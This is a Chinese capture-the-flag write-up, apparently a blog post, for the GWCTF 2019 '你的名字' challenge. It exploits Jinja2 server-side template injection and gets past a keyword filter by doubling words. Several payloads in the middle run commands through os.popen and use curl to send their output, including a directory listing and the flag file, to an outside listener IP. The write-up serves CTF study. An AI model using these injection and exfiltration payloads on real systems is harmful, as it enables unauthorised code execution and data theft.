• 刷题[GWCTF 2019]你的名字


    解题思路

    打开发现需要输入名字,猜测会有sql注入漏洞,测试一下发现单引号被过滤了,再fuzs下看看过滤了哪些

    长度为1518和1519的都有过滤,测试一下,感觉不是sql注入了。那还有什么呢,考虑了ssti

    使用{{7*7}},我直接傻了,怎么python的后端会报php的错,这里直接思路断了,找了其他的也没有发现有什么。直接看wp了,wp说看到返回头后发现是python写的后端,我这也没看出来有啥啊,希望有师傅知道的留言下,从哪看出来的

    作者说加了个php模式的报错和index.php路由。好吧,直接被骗到了。其实这里也能猜到可能是故意迷惑的,继续往下走。

    测试发现{{}}双括号会过滤报错,关于ssti的绕过可以看这一篇,讲的非常详细

    利用文章中的poc打

    {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://174.0.68.175:8080/?i=whoami').read()=='p' %}1{% endif %}

    失败了,感觉可能是有什么的过滤,尝试一下。发现此payload中的if、os、class、mro,config,popen都会被过滤成空,那采取双写绕过的思想

    os使用oconfigsif使用iconfigf,class使用claconfigssmro使用mrconfigo,popen使用popconfigen

    payload:
    {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:8080/ -d ls /|base64;') %}1{% endiconfigf %}

    注意,这里有几个点:

    1. 所有被过滤的关键词都要进行相应替换
    2. 这里执行的是curl 靶机ip。需要在buu中另开一台linux靶机进行监听
    3. ls /是不行的,猜测会直接执行,所以要先用base加密输出,才可输出所有目录

    监听靶机,监听成功:

    发现flag文件:

    执行命令:

    {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:8080/ -d cat /flag_1s_Hera;') %}1{% endiconfigf %}

    在靶机中获取到flag

    总结思路

    • 通过报错,猜测可能是ssti模板注入
    • 这里需要手工测试过滤了哪些值
    • 改变相应的payload进行攻击
    • 用os.popen+curl回显数据

    知识点

    • ssti
    • curl回显数据
  • 相关阅读:
    01分数规划基本类型
    hdu3976
    hdu1430 康托展开+bfs预处理
    模板
    模板
    redis初始
    mybatis12
    mybatis13
    mybatis10
    springmvc10
  • 原文地址:https://www.cnblogs.com/karsa/p/13523730.html
Copyright © 2020-2023  润新知